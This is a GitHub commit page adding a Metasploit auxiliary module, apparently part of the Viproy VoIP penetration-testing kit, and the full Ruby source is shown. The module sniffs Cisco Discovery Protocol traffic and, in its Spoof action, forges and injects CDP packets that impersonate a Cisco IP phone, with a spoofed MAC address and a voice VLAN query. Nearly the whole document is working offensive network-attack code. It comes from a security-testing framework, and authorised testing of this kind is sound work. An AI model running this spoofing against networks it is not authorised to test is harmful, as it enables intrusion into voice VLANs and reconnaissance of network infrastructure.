Skip to content

Commit d78d57e

Browse files
fozavcijhart-r7
authored andcommitted
Viproy VoIP Pen-Test Kit - Cisco CDP Testing Module
1 parent e66c9be commit d78d57e

File tree

1 file changed

+219
-0
lines changed

1 file changed

+219
-0
lines changed
Lines changed: 219 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,219 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Auxiliary::Report
12+
include Msf::Exploit::Capture
13+
14+
def initialize
15+
super(
16+
'Name' => 'CDP Discovery and Spoofing',
17+
'Description' => 'This module captures and sends Cisco Discovery Protocol packets for discovery',
18+
'Author' => 'Fatih Ozavci <viproy.com/fozavci>',
19+
'License' => MSF_LICENSE,
20+
'Actions' =>
21+
[
22+
[ 'Sniffer' ],
23+
[ 'Spoof' ]
24+
],
25+
'PassiveActions' =>
26+
[
27+
'Sniffer'
28+
],
29+
'DefaultAction' => 'Sniffer'
30+
)
31+
register_options(
32+
[
33+
OptString.new('SMAC', [ false, "MAC Address for MAC Spoofing"]),
34+
OptString.new('VTPDOMAIN', [ false, "VTP Domain"]),
35+
OptString.new('DEVICE ID', [ false, "Device ID (e.g. SIP00070EEA3156,SEP00070EEA3156)", "SEP00070EEA3156"]),
36+
OptString.new('PORT', [ false, "The Switch Port", "1"]),
37+
OptString.new('CAPABILITIES', [ false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
38+
OptString.new('PLATFORM', [ false, "Platform of the device", "Cisco IP Phone 7975"]),
39+
OptString.new('SOFTWARE', [ false, "Software of the device", "SCCP75.9-3-1SR2-1S"]),
40+
OptBool.new('DUPLEX', [false, 'Duplex', true]),
41+
], self.class)
42+
deregister_options('RHOST')
43+
end
44+
45+
def run
46+
check_pcaprub_loaded # Check first
47+
lbl=["CDP Version\t","Device Id\t","IP Address\t", "Switch Port\t", "Capabilities" , "Software\t","Platform\t", nil,"Cluster Management", "VTP Domain Management" ,"Native VLAN\t",nil, nil, nil, nil, "VoIP VLAN Query"]
48+
print_status("Sniffing traffic.....")
49+
50+
open_pcap
51+
52+
if(action.name == 'Spoof')
53+
send_spoof
54+
end
55+
56+
each_packet do |pkt|
57+
p = PacketFu::Packet.parse(pkt)
58+
if p.proto != ["Eth", "LLDP"] and p.payload =~ /\x01\x00\f\xCC\xCC\xCC/
59+
pay=p.payload
60+
pos=30
61+
cdp=pay[22].getbyte(0)
62+
report = "CDP Version\t\t: #{cdp}\n"
63+
if cdp == 2
64+
while 1
65+
type = pay[pos-4,2].getbyte(1)
66+
break if pay[pos-2,2].nil?
67+
l=pay[pos-2,2].unpack('H*')[0].to_i(16)
68+
case type
69+
when 1
70+
d=pay[pos,l]
71+
d.chop! if d[-1] == "\n"
72+
report << " #{lbl[type]} \t: #{d}\n"
73+
when 2
74+
if pay[pos,4].unpack('H*')[0].to_i(16) == 1
75+
addr=pay[pos+9,4]
76+
ip=[]
77+
4.times {|i| ip << "#{addr.getbyte(i)}"}
78+
report << " #{lbl[type]}\t: #{ip.join(".")}\n"
79+
end
80+
when 3
81+
report << " #{lbl[type]}\t: #{pay[pos,l]}\n"
82+
when 4
83+
c=pay[pos+3,1].getbyte(0)
84+
c=c.to_s(2)
85+
cap={}
86+
caps=["Repeater\t\t","IGMP Capable\t\t","Host\t\t\t","Switch\t\t","Source Route Bridge\t","Transparent Bridge\t","Router\t\t"]
87+
report << " #{lbl[type]}\t: \n"
88+
c.length.times {|i|
89+
if c[-1].to_i == 1
90+
report << "\t\t\t #{caps[-1]} : Yes\n"
91+
else
92+
report << "\t\t\t #{caps[-1]} : No\n"
93+
end
94+
c.chop!
95+
caps.delete_at(-1)
96+
}
97+
caps.each {report << "\t\t\t #{caps[-1]} : No\n"} if caps.length > 0
98+
when 5
99+
report << " #{lbl[type]}\t: #{pay[pos,l].split("\n").join("\n\t\t\t ")}\n"
100+
when 8
101+
#report << " #{lbl[type]}\t:\n"
102+
#report << " IP: #{pay[pos+14,4]}\n"
103+
when 10
104+
report << " #{lbl[type]}\t: #{pay[pos,2].unpack('H*')[0].to_i(16)}\n"
105+
when 15
106+
report << " #{lbl[type]}\t: #{pay[pos+1,2].unpack('H*')[0].to_i(16)}\n"
107+
else
108+
report << " #{lbl[type]}\t: #{pay[pos,l]}\n" if lbl[type] != nil
109+
end
110+
if pos > pay.length
111+
break
112+
else
113+
pos = pos+l
114+
end
115+
end
116+
else
117+
report << " TTL\t\t\t: #{pay[23].unpack('H*')[0].to_i(16)}"
118+
end
119+
print_good("#{report}")
120+
end
121+
end
122+
close_pcap
123+
print_status("Finished sniffing")
124+
end
125+
def send_spoof()
126+
p=prep_cdp #Preparation of the CDP content
127+
dst_mac="\x01\x00\f\xCC\xCC\xCC" #CDP multicast
128+
129+
#Source Mac Address Preparation
130+
@interface = datastore['INTERFACE'] || Pcap.lookupdev
131+
smac = datastore['SMAC'] || get_mac(@interface)
132+
raise RuntimeError ,'SMAC should be defined' unless smac
133+
src_mac=mac_to_bytes(smac)
134+
135+
#Injecting packet to the network
136+
l=PacketFu::Inject.new(:iface=>@interface)
137+
cdplength=["%04X" % (p.length+8).to_s].pack('H*')
138+
l.array_to_wire(:array=>["#{dst_mac}#{src_mac}#{cdplength}"+llc+p])
139+
end
140+
def llc
141+
llc="\xAA\xAA\x03\x00\x00\f \x00"
142+
return llc
143+
end
144+
def mac_to_bytes(smac)
145+
return [smac.gsub(":","")].pack('H*')
146+
end
147+
def prep_cdp
148+
#options from the user
149+
device=datastore['DEVICE ID'] || "SEP00070EEA3156"
150+
port=datastore['PORT'] || "1"
151+
capabilities=datastore['CAPABILITIES'] || "Host"
152+
platform=datastore['PLATFORM'] || "Cisco IP Phone 7975"
153+
software=datastore['SOFTWARE'] || "SCCP75.9-3-1SR2-1S"
154+
vtpdomain=datastore['VTPDOMAIN'] if datastore['VTPDOMAIN']
155+
if datastore['DUPLEX']
156+
dup=1
157+
else
158+
dup=0
159+
end
160+
161+
#CAPABILITIES
162+
#define CDP_CAP_LEVEL1 0x40
163+
#define CDP_CAP_FORWARD_IGMP 0x20
164+
#define CDP_CAP_NETWORK_LAYER 0x10
165+
#define CDP_CAP_LEVEL2_SWITCH 0x08
166+
#define CDP_CAP_LEVEL2_SRB 0x04
167+
#define CDP_CAP_LEVEL2_TRBR 0x02
168+
#define CDP_CAP_LEVEL3_ROUTER 0x01
169+
170+
#Package Preperation
171+
p = "\x00\x01#{l(device)}#{device}" # Device ID
172+
p << "\x00\x03#{l("Port #{port}")}Port #{port}" # Port ID
173+
p << "\x00\x04\x00\b\x00\x00\x00A" # Capabilities
174+
p << "\x00\x05#{l(software)}#{software}" # Software Version
175+
p << "\x00\x06#{l(platform)}#{platform}" # Platform
176+
p << "\x00\x09#{l(vtpdomain)}#{vtpdomain}" if vtpdomain # VTP Domain Management
177+
p << "\x00\x10\x00\x06\x18\x9C" # Power Consumption 6300 mW
178+
p << "\x00\v\x00\x05#{dup}" # Duplex
179+
p << "\x00\x0F\x00\b \x02\x00\x01" # VLAN Query
180+
181+
#Header Preperation
182+
version = "\x02" # CDP version
183+
ttl = "\xB4" # TTL (180 seconds)
184+
checksum = cdpchecksum(version+ttl+"\x00\x00"+p) # CDP Checksum
185+
186+
p=version+ttl+checksum+p # CDP Payload
187+
188+
return p
189+
end
190+
191+
def l(s,n=2)
192+
l=s.length+4
193+
l="%0#{n*2}X" % l
194+
b=[l].pack('H*')
195+
return b
196+
end
197+
198+
def cdpchecksum(p)
199+
num_shorts = p.length / 2
200+
cs = 0
201+
c = p.length
202+
203+
p.unpack("S#{num_shorts}").each { |x|
204+
cs += x
205+
c -= 2
206+
}
207+
208+
if (c == 1)
209+
cs += p[p.length - 1].getbyte(0) << 8
210+
end
211+
212+
cs = (cs >> 16) + (cs & 0xffff)
213+
cs = ~((cs >> 16) + cs) & 0xffff
214+
cs = ([cs].pack("S*")).unpack("n*")[0]
215+
216+
cs = [ "%02X" % cs ].pack('H*')
217+
return cs
218+
end
219+
end

0 commit comments

Comments
 (0)